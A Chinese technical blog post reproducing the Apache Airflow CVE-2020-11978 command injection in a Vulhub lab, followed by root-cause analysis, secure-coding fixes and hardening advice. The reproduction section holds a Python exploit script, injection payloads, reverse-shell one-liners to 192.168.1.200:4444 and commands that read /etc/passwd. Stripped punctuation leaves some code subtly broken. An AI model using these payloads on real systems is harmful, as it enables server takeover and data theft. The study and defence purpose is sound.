Apache Airflow命令注入漏洞CVE-2020-11978复现与安全编码实践

Apache Airflow命令注入漏洞CVE-2020-11978复现与安全编码实践 1. 项目概述从一次靶场实战看Airflow的命令注入风险最近在整理内部安全测试案例库时我又把目光投向了Apache Airflow这个老牌的调度平台。作为数据工程师和运维同学的老朋友Airflow以其强大的DAG有向无环图编排能力和丰富的社区生态几乎成了数据管道自动化的标配。但越是核心的基础设施一旦出现安全问题其影响面就越大。CVE-2020-11978这个命令注入漏洞就是一个典型例子——它并非出现在复杂的业务逻辑里而是潜伏在示例DAG这个看似“无害”的演示文件中。这次我就以在Vulhub靶场中复现这个漏洞为引子和大家深入聊聊这个漏洞的成因、利用手法以及我们从中能汲取哪些安全开发的经验。简单来说这个漏洞允许攻击者通过精心构造的HTTP请求在运行Airflow的服务器上执行任意系统命令。想象一下如果你的数据调度平台被人上传了一个能执行rm -rf /或者挖矿脚本的DAG那后果不堪设想。复现这个漏洞不仅能帮助我们理解攻击链更重要的是能让我们在开发和使用类似调度系统时建立起正确的安全边界意识。无论你是安全研究员想深入漏洞原理还是运维工程师想检查自家环境亦或是开发者想避免写出同类漏洞代码这篇从环境搭建到漏洞利用的完整实录都能给你提供直接的参考。2. 漏洞背景与核心原理深度拆解2.1 Apache Airflow与示例DAG的角色要理解这个漏洞首先得明白Airflow是怎么工作的。Airflow的核心是DAG你可以把它理解为一个工作流蓝图里面定义了多个任务Task以及它们之间的依赖关系。这些任务可以是执行一个Python函数、运行一个Bash命令或者触发一个远程API。Web Server是Airflow的人机交互界面我们通过它来触发DAG运行、查看日志、管理变量等。而“示例DAG”Example DAG是Airflow安装后自带的、用于演示功能的教学文件。本意是好的让新用户能快速上手看看一个标准的DAG长什么样。问题就出在Airflow默认配置下会加载airflow/example_dags/目录下的所有DAG文件。这意味着任何一个能访问Web Server接口的人都有可能触发这些示例DAG中的任务。CVE-2020-11978的根源正是一个名为example_trigger_target_dag的示例DAG。2.2 漏洞触发点未过滤的conf参数漏洞的核心触发逻辑在example_trigger_target_dag.py这个文件里。我们来看一下关键代码段基于漏洞版本# 这是一个简化的漏洞代码逻辑示意 bash_command echo \{{ dag_run.conf[message] if dag_run.conf else }}\ run_this BashOperator( task_idrun_this, bash_commandbash_command, dagdag, )这段代码使用了Airflow的BashOperator来执行一个shell命令。命令的内容是使用Jinja2模板引擎从dag_run.conf字典中读取message键的值然后通过echo输出。dag_run.conf是什么它是当用户通过Web UI或API触发一个DAG运行时可以传递进去的一组键值对参数本意用于动态控制DAG的行为。漏洞就在于{{ ... }}中的Jinja2模板表达式被直接拼接进了Bash命令字符串中而Airflow没有对dag_run.conf[message]的内容进行任何过滤或转义。Jinja2模板在渲染时会直接计算表达式的值并替换进去。如果message参数的值不是简单的字符串而是一段包含Shell元字符如分号;、反引号、美元符号$()的Payload那么当BashOperator去执行最终的bash_command时这些Payload就会被Bash shell解析并执行。举个例子假设我们传递的message参数值为hello”; whoami; echo “。经过Jinja2渲染后bash_command就变成了echo hello; whoami; echo Bash会将其解析为三条顺序执行的命令echo hello、whoami、echo 。这样whoami这个系统命令就被成功注入了。注意这里有一个关键细节。单纯传递whoami可能不行因为Jinja2模板引擎本身也有沙盒和过滤机制。但攻击者可以利用Jinja2的语法特性进行绕过。例如使用{{ .__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read() }}这类Payload是在尝试利用Jinja2的沙盒逃逸来执行代码。但在CVE-2020-11978的公开利用中更直接的方式是利用Bash命令注入因为最终执行的是Bash shell。所以理解漏洞的层次Jinja2模板注入 vs. Bash命令注入很重要本例的根源是后者。2.3 影响版本与利用前提这个漏洞影响的是Apache Airflow 1.10.10及之前的所有版本。在1.10.11及之后的版本中官方修复了此问题。修复方式主要是对示例DAG进行了更新或者修改了默认加载策略。利用这个漏洞有几个前提条件示例DAG未被移除或禁用目标Airflow实例必须启用了示例DAG默认是启用的。攻击者能访问Web Server接口需要能向Airflow的Web Server发送HTTP请求通常是/api/experimental/dags/DAG_ID/dag_runs这个触发DAG运行的API端点。Airflow服务进程具有足够权限执行Bash命令的Airflow Worker进程或Scheduler进程取决于执行器类型需要有相应的系统权限。如果进程以高权限如root运行那么攻击者就能执行高权限命令。3. Vulhub靶场环境搭建与配置要点3.1 为什么选择Vulhub进行复现Vulhub是一个开源的漏洞靶场集合它使用Docker Compose一键搭建各种存在已知漏洞的软件环境。对于安全学习和漏洞复现来说它有不可替代的优势环境隔离每个漏洞环境都是独立的Docker容器不会污染宿主机。一键部署无需复杂的配置几条命令就能还原漏洞原始场景。还原度高Vulhub的维护者通常会精心配置使环境尽可能接近漏洞被发现时的真实情况。学习成本低专注于漏洞原理和利用而不是环境搭建的琐碎细节。对于CVE-2020-11978Vulhub提供了现成的Airflow 1.10.10漏洞环境包含了Web Server、Scheduler、PostgreSQL数据库和Redis完全模拟了一个简易的生产环境。3.2 详细搭建步骤与关键参数解析首先确保你的宿主机已经安装了Docker和Docker Compose。然后按照以下步骤操作拉取Vulhub项目git clone https://github.com/vulhub/vulhub.git cd vulhub/airflow/CVE-2020-11978进入对应的漏洞目录里面已经准备好了docker-compose.yml文件。启动漏洞环境docker-compose up -d这个命令会在后台拉取镜像并启动所有定义的服务。首次运行需要下载镜像耐心等待即可。-d参数表示后台运行。等待服务初始化 启动后需要给Airflow一点时间进行数据库初始化。可以通过查看日志来确认docker-compose logs -f airflow-webserver当你看到类似Listening at: http://0.0.0.0:8080的日志时说明Web Server已经就绪。这个过程可能需要一两分钟。访问Web界面 在浏览器中打开http://your-host-ip:8080。默认的登录用户名和密码在Vulhub的配置中通常是airflow/airflow。成功登录后你应该能看到Airflow的DAG列表其中就包含example_trigger_target_dag。实操心得在Vulhub环境启动后我习惯用docker-compose ps命令查看所有容器的状态确保都是“Up”状态。有时候PostgreSQL容器启动稍慢可能导致Airflow初始化失败。如果遇到Web界面无法登录或DAG列表为空可以尝试重启服务docker-compose restart airflow-webserver airflow-scheduler。3.3 环境结构分析与网络拓扑理解这个Docker Compose环境的结构对后续的漏洞利用和排查问题很有帮助。我们简单分析一下airflow-webserver运行在8080端口这是我们攻击的入口。airflow-scheduler负责解析DAG文件、调度任务。airflow-worker如果使用CeleryExecutor实际执行任务的节点。在这个Vulhub简易配置中可能使用的是LocalExecutor或SequentialExecutor任务由Scheduler进程直接执行。postgresAirflow的元数据库存储DAG、任务实例、变量、连接等信息。redis如果使用CeleryExecutor作为消息队列。所有这些容器通常共享同一个Docker网络因此它们之间可以通过服务名如postgres相互通信。而我们的攻击流量是从外部发往airflow-webserver容器的8080端口。4. 漏洞复现实操手工注入与脚本化利用环境就绪后我们就可以开始动手复现漏洞了。我将演示两种方式通过Web UI手动触发和通过Python脚本自动化利用。4.1 通过Web UI手动触发命令注入这是最直观的方式可以帮助我们理解漏洞触发的完整流程。登录并找到目标DAG 登录Airflow Web UI (http://localhost:8080)。在主页的DAG列表中找到example_trigger_target_dag。它的描述通常是“Example DAG demonstrating the TriggerDagRunOperator”。打开DAG运行配置界面 点击DAG名称进入详情页。在菜单栏找到“Trigger DAG”按钮一个播放图标旁边写着Trigger DAG。点击它。构造并注入恶意Payload 在弹出的“Trigger DAG”窗口中你会看到一个“Configuration JSON”的输入框。这个框里的JSON内容最终就会传递给dag_run.conf。 我们需要构造一个包含恶意message字段的JSON。例如我们想执行命令id来查看当前进程的用户信息{ message: \; id; echo \ }解释一下这个Payload最外层的双引号是JSON字符串的界定符。\是JSON中对双引号的转义。所以\在JSON解析后就是字符。因此最终dag_run.conf[message]获得的值就是字符串; id; echo 。这个字符串被拼接到Bash命令echo \{{ ... }}\中就形成了echo ; id; echo 成功注入id命令。触发并查看结果 点击“Trigger”按钮。然后点击该DAG的“Graph View”或“Tree View”找到刚刚触发的DAG Run和里面的run_this任务。点击任务方块选择“Log”。如果漏洞存在且利用成功你将在日志中看到id命令的执行结果例如uid0(root) gid0(root) groups0(root)这表明命令以root权限执行了。注意事项在Web UI上操作时Payload的引号转义容易出错。如果日志中显示命令未执行或语法错误请仔细检查JSON格式和转义字符。一个更稳妥的测试Payload是使用反引号或$()的变体例如{message: id}或{message: $(id)}它们有时能绕过一些简单的引号过滤。4.2 编写Python脚本进行自动化利用手动操作适合理解原理但实际测试中我们更倾向于使用脚本。这能方便地集成到扫描工具中也便于批量测试。下面是一个使用requests库的Python利用脚本import requests import json import sys def exploit_airflow_cve(target_url, dag_id, command): 利用CVE-2020-11978执行命令 :param target_url: Airflow Web Server地址如 http://192.168.1.100:8080 :param dag_id: 目标DAG ID默认为 example_trigger_target_dag :param command: 要执行的系统命令 # 构造触发DAG的API端点 api_endpoint f{target_url}/api/experimental/dags/{dag_id}/dag_runs # 构造恶意配置JSON。这里使用$()方式注入命令。 # 注意需要对JSON中的双引号进行转义。 payload { conf: { message: f$( {command} ) } } # 设置请求头通常Airflow的API需要认证。 # Vulhub默认用户名密码是airflow:airflow auth (airflow, airflow) headers { Content-Type: application/json, } try: response requests.post( api_endpoint, authauth, headersheaders, datajson.dumps(payload), timeout30 ) print(f[*] 请求状态码: {response.status_code}) print(f[*] 响应内容: {response.text}) if response.status_code 200: print(f[] 看起来DAG触发成功。请前往Airflow Web UI查看任务日志以确认命令执行结果。) print(f[] 执行命令: {command}) else: print(f[-] 触发DAG可能失败。请检查目标地址、认证信息和DAG ID。) except requests.exceptions.RequestException as e: print(f[-] 请求发生错误: {e}) if __name__ __main__: if len(sys.argv) ! 4: print(f用法: {sys.argv[0]} 目标URL DAG_ID 命令) print(f示例: {sys.argv[0]} http://localhost:8080 example_trigger_target_dag id) sys.exit(1) target sys.argv[1] dag sys.argv[2] cmd sys.argv[3] exploit_airflow_cve(target, dag, cmd)脚本使用与解析保存为exploit.py。运行python3 exploit.py http://localhost:8080 example_trigger_target_dag id。脚本会向/api/experimental/dags/example_trigger_target_dag/druns发送一个POST请求请求体中包含我们构造的Payload。$(id)这个Payload会被Bash解析为命令替换执行id命令并将其输出替换到echo命令中。脚本只负责触发DAG命令执行的结果需要到Airflow的任务日志中查看。实操心得在编写利用脚本时我通常会准备多个Payload变体比如;id;、id、$(id)、{id,}Bash花括号扩展等以应对目标环境可能存在的轻微过滤或转义。另外注意目标Airflow的API路径旧版本可能是/api/experimental/新版本可能迁移到了/api/v1/。Vulhub的这个环境使用的是实验性API。4.3 漏洞利用的进阶反弹Shell与信息收集直接执行id、whoami、uname -a等命令可以验证漏洞但真正的渗透测试需要更深入的利用。1. 反弹ShellReverse Shell这是获取服务器交互式访问权限的常用手段。假设攻击者控制着一台IP为192.168.1.200监听端口为4444的服务器。在攻击机上监听nc -lvnp 4444构造反弹Shell的Payload 我们需要通过漏洞在目标Airflow服务器上执行一个连接到我们攻击机的命令。常用的Payload有Bash TCPbash -i /dev/tcp/192.168.1.200/4444 01Pythonpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.200,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);Netcat如果目标有ncnc 192.168.1.200 4444 -e /bin/sh由于我们的注入点是在一个echo命令的参数里并且被双引号包裹我们需要处理好引号和特殊字符的转义。使用Python的base64编码是一个规避复杂转义的好方法。步骤 a. 在本地生成编码后的命令echo bash -i /dev/tcp/192.168.1.200/4444 01 | base64 # 输出YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAwLzQ0NDQgMD4mMQob. 构造Payload让目标机器解码并执行{ message: $(echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAwLzQ0NDQgMD4mMQo | base64 -d | bash) }将这个JSON通过Web UI或脚本发送如果目标机器的base64命令可用且出网流量不受限制就能在攻击机的nc监听端口中获得一个反向shell。2. 服务器信息收集在获取有限命令执行能力后应立即收集信息为后续横向移动或权限提升做准备。可以通过注入执行一系列命令{ message: $(id uname -a cat /etc/passwd | head -5 df -h ps aux | head -10) }这个Payload会一次性执行多个命令返回当前用户、系统内核、用户列表、磁盘空间和进程信息。重要警告反弹Shell和深度信息收集仅应在你拥有完全权限的测试环境如Vulhub中进行。在未经授权的真实系统上尝试是非法行为。5. 漏洞根因分析与安全编码启示复现漏洞之后我们更应该深入思考其根源。CVE-2020-11978看似是一个简单的命令注入但它暴露了软件开发中几个常见的安全盲区。5.1 多层信任边界被突破这个漏洞的利用链清晰地展示了信任边界是如何被层层突破的外部输入信任Web API接收了用户可控的conf参数并默认其是安全的。模板渲染信任系统将用户输入直接嵌入Jinja2模板字符串未做任何过滤信任模板引擎的沙盒机制能完全隔离危险操作但实际上这里的目标是Bash注入而非Jinja2沙盒逃逸。系统命令信任BashOperator将渲染后的模板字符串直接传递给subprocess或os.system这类函数执行完全信任其内容。安全设计的一个基本原则是“纵深防御”和“最小信任”。在这个案例中每一层都过度信任了来自上一层的输入。5.2 示例代码的生产化风险这是本漏洞最值得警醒的一点示例代码或演示代码被直接用于生产环境。开发者在编写example_trigger_target_dag时初衷是演示“如何从触发参数中读取值”代码简洁直观但却忽略了安全性的示范。而很多用户在部署Airflow时可能并未仔细审查或禁用这些示例DAG甚至直接模仿其写法来编写自己的生产DAG从而将漏洞引入了生产系统。给开发者的启示无论是写示例、写文档还是写工具函数只要涉及用户输入和命令执行就必须把安全放在第一位。示例代码应该是“最佳实践”的典范而不是漏洞的源头。在示例中应该使用安全的做法比如对输入进行转义或者明确标注出危险的操作并提示风险。5.3 安全的DAG编写规范那么如何编写一个安全的、使用BashOperator的DAG呢绝对避免用户输入直接进入命令这是铁律。如果业务逻辑必须根据外部输入动态构造命令需要极其谨慎。使用参数化而非拼接如果可能尽量将动态值作为命令的参数传递而不是命令字符串的一部分。但BashOperator本身设计就是执行字符串这点比较难。严格的输入验证与净化白名单验证如果输入只能是有限的几个已知值如start,stop,restart使用白名单进行校验。转义Shell元字符如果必须将用户输入放入命令使用shlex.quote()Python函数对输入进行转义。这个函数会给字符串加上引号并转义内部的所有Shell元字符确保它被当作一个单一的字符串参数。修正后的安全代码示例import shlex # 假设message来自dag_run.conf user_input dag_run.conf.get(message, ) if dag_run.conf else # 对输入进行转义 safe_input shlex.quote(user_input) # 将转义后的安全字符串拼接到命令中 bash_command fecho {safe_input} run_this BashOperator( task_idrun_this, bash_commandbash_command, dagdag, )即使用户传入; id; echo 经过shlex.quote()后会变成; id; echo Bash会将其视为一个整体字符串而不会解析其中的分号。降低进程权限运行Airflow的进程如Worker应该使用非root、低权限的专用用户。这样即使发生命令注入造成的破坏也有限。定期审查与更新禁用或删除不必要、不安全的示例DAG。定期更新Airflow到最新版本并关注安全公告。6. 漏洞修复方案与加固建议对于受到CVE-2020-11978影响的系统应立即采取以下措施6.1 官方修复与版本升级最根本的解决方案是升级Apache Airflow到1.10.11或更高版本。官方在这个版本中移除了有问题的示例DAGexample_trigger_target_dag。升级前务必在测试环境充分验证并备份数据和DAG文件。6.2 临时缓解措施如果无法立即升级可以采取以下临时措施禁用或删除示例DAG在Airflow的配置文件airflow.cfg中找到[core]部分设置load_examples False然后重启所有Airflow服务。这将阻止加载所有示例DAG。或者直接删除$AIRFLOW_HOME/dags目录下的示例DAG文件通常位于airflow/example_dags/目录中但会被软链接或复制到DAGs目录。网络层访问控制严格限制访问Airflow Web UI的IP地址范围仅允许运维人员和管理员访问。如果不需要考虑关闭Web Server的对外访问仅通过内网或VPN访问。审计现有DAG全面检查所有自定义DAG查找是否存在与漏洞示例类似的、将dag_run.conf或其他外部参数未经处理直接拼接进bash_command的代码模式并按照前述安全规范进行修改。6.3 针对此类漏洞的长期防护策略安全开发生命周期SDL在代码编写、代码审查、CI/CD流水线中引入安全检查点。例如使用静态应用安全测试SAST工具扫描代码查找“命令注入”、“模板注入”等漏洞模式。运行时防护使用受限的Shell考虑使用pipes.quote()或subprocess.run()的shellFalse模式并传递参数列表这比直接使用bash -c更安全。容器化与沙盒在Docker容器或Kubernetes Pod中运行Airflow Worker利用容器或Pod的安全上下文Security Context限制其权限例如设置为只读根文件系统、禁止特权模式等。主机安全加固对运行Airflow的主机进行安全加固如定期更新系统、配置防火墙、安装主机入侵检测系统HIDS等。监控与告警监控Airflow Worker进程执行的异常命令例如包含curl、wget下载未知二进制文件或连接到非常见外网IP。集中收集和分析Airflow的访问日志、错误日志设置针对大量失败登录、异常API调用模式的告警。7. 从复现到思考安全测试的维度延伸一次成功的漏洞复现不是终点。以CVE-2020-11978为起点我们可以将安全测试的思路扩展到更广的维度。7.1 自动化漏洞扫描脚本的编写我们可以将上面的手工验证过程封装成一个更通用的、用于内部安全巡检的脚本。这个脚本可以自动识别Airflow实例通过特征如页面标题、特定API端点。尝试默认凭证airflow/airflow, admin/admin等或使用提供的凭证进行认证。枚举可用的DAG列表。对有参数的DAG尝试发送带有简单探测Payload如$(echo vuln_test)的请求。根据响应时间、日志内容或间接通道如DNS外带判断是否存在命令注入。这种脚本化的能力可以帮助安全团队快速对一批资产进行初步筛查。7.2 挖掘同类型漏洞模式命令注入漏洞模式远不止这一种。在Airflow或其他调度/自动化系统中我们还应该关注其他Operator除了BashOperatorPythonOperator如果使用eval()或exec()处理用户输入同样危险。SSHOperator、KubernetesPodOperator等如果参数可控也可能存在风险。变量与连接Airflow的“Variables”和“Connections”功能如果存储了敏感信息如SSH密码、API密钥并能被低权限用户读取或修改也会导致安全问题。DAG文件上传如果Airflow配置允许通过Web UI或API上传DAG文件dag_run.conf那么攻击者可以直接上传恶意DAG文件这比命令注入更直接。7.3 红蓝对抗中的利用场景在真实的红队评估中攻击者不会满足于执行一个id命令。他们的目标可能是权限维持在服务器上植入后门或创建隐藏的定时任务crontab。横向移动利用当前服务器的权限尝试访问同一内网的其他机器如通过SSH密钥、凭据窃取。数据窃取如果Airflow用于处理敏感数据管道攻击者可能注入命令将数据外泄。作为跳板将存在漏洞的Airflow服务器作为攻击内部网络其他系统的跳板。因此防守方在构建监控策略时需要将这些高级威胁行为也纳入检测范围。在Vulhub靶场里成功弹出那个uid0(root)的回显时我并没有太多“攻破”的喜悦反而更多是作为开发者和运维者的反思。CVE-2020-11978与其说是一个高深的技术漏洞不如说是一个经典的安全意识教育案例。它提醒我们安全往往溃于那些最不起眼的细节——一段被所有人忽略的示例代码、一个未经处理的用户输入、一次对内部系统过于宽松的默认配置。每一次漏洞复现都是一次对自身安全水位线的测量。真正重要的不是复现了多少个CVE编号而是在日常的每一次代码提交、每一次系统配置中是否都把那条“最小权限”和“不信任任何输入”的原则刻在了脑子里。